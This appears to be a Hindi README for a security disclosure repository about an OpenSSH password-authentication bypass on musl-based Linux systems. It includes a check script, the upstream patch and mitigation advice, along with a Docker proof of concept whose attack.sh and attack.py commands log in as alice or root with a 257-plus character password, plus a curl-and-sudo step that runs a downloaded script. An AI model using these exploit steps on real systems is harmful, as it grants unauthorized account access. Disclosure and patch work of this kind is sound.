
musl पर openssh ने 2016 से उन खातों के लिए 257+ वर्णों का कोई भी पासवर्ड स्वीकार किया जिनका कोई पासवर्ड नहीं था। check.sh, poc, patch।
musl linux (alpine, openwrt, buildroot, yocto) पर openssh आपको किसी भी ऐसे अकाउंट में लॉग इन करने देता है जिसका पासवर्ड * है, बशर्ते आप 256 अक्षरों से लंबा कोई भी पासवर्ड डालें। इसका मतलब है root, key-only उपयोगकर्ता, ldap उपयोगकर्ता, alpine की cloud images पर मौजूद alpine उपयोगकर्ता। 2016 से।
पूरी कहानी sshhole.com पर है। इस रेपो में अपनी मशीन जाँचने की स्क्रिप्ट, खुद आज़माने के लिए docker सेटअप, और पैच मौजूद है।
2026-11-05 को openssh 10.6p2 में ठीक किया गया। alpine पैकेज उपलब्ध हैं।
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
आप केवल तभी उजागर होते हैं जब ये सभी सत्य हों। यदि आप नहीं हैं तो स्क्रिप्ट आपको बताती है कि कौन सा गायब है:
openssh-server पैकेज ऐसा ही है। UsePAM yes के साथ openssh-server-pam सुरक्षित हैPasswordAuthentication yes (यह डिफ़ॉल्ट है)* है$5$ या $6$ पासवर्ड हैश है (किसी ने, किसी भी व्यक्ति ने, passwd चलाया)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: प्रभावित नहीं। आप पढ़ना बंद कर सकते हैं।
आपको docker की आवश्यकता है। यह openssh-server और डिफ़ॉल्ट कॉन्फ़िग के साथ एक सामान्य alpine 3.24 बनाता है। alice के पास * है, bob के पास वास्तविक पासवर्ड है।
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
दो प्रॉम्प्ट। पहला कोई भी, दूसरा 300 x A। यही एक्सप्लॉइट है।
अगर PermitRootLogin yes सेट है तो root भी काम करता है:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py paramiko के साथ वही काम करता है और आपको पासवर्ड की लंबाई चुनने देता है, ताकि आप देख सकें कि 256 विफल होता है और 257 काम करता है:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
पुराने alpine संस्करणों के लिए: docker build --build-arg BASE=alpine:3.21 -t sshhole . यह कम से कम 3.18 तक काम करता है। हमने जो सबसे पुराना आज़माया वह 2017 से musl 1.1.16 पर openssh 7.5p1 था, और वहाँ भी यह काम कर गया।
patch/4353fdc43-avoid-password-authn-bypass.patch अपस्ट्रीम फ़िक्स है, बिना किसी बदलाव के, ताकि आप इसे किसी पुराने संस्करण पर लागू कर सकें। यह 7.3p1 से ऊपर किसी भी संस्करण पर काम करता है। यह sshd को तब तुलना छोड़ने पर मजबूर करता है जब संग्रहीत फ़ील्ड वास्तविक हैश होने के लिए बहुत छोटा हो, और यह libc के स्टैटिक बफ़र में पॉइंटर का उपयोग करना भी बंद कर देता है।
यदि आप अभी अपडेट नहीं कर सकते, तो sshd_config में PasswordAuthentication no सेट करें। यह इसे पूरी तरह बंद कर देता है।
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd ने 90 के दशक से * के विरुद्ध इस तरह तुलना की है। musl ने 2012 में विफलता पर * लौटाना शुरू किया। sshd ने 2016 में अन्य खातों के salts का उपयोग करना शुरू किया। timeline देखें।
पूरा परीक्षण सेटअप (17 वातावरण: qemu में क्लाउड इमेज, openwrt, buildroot, ldap और ad उपयोगकर्ता, इत्यादि), प्रसार संख्याएँ और प्रति-डिस्ट्रो तालिका write-up में हैं। वे बाद में प्रकाशित हो सकते हैं। यह रेपो जानबूझकर छोटा है।
mit लाइसेंस।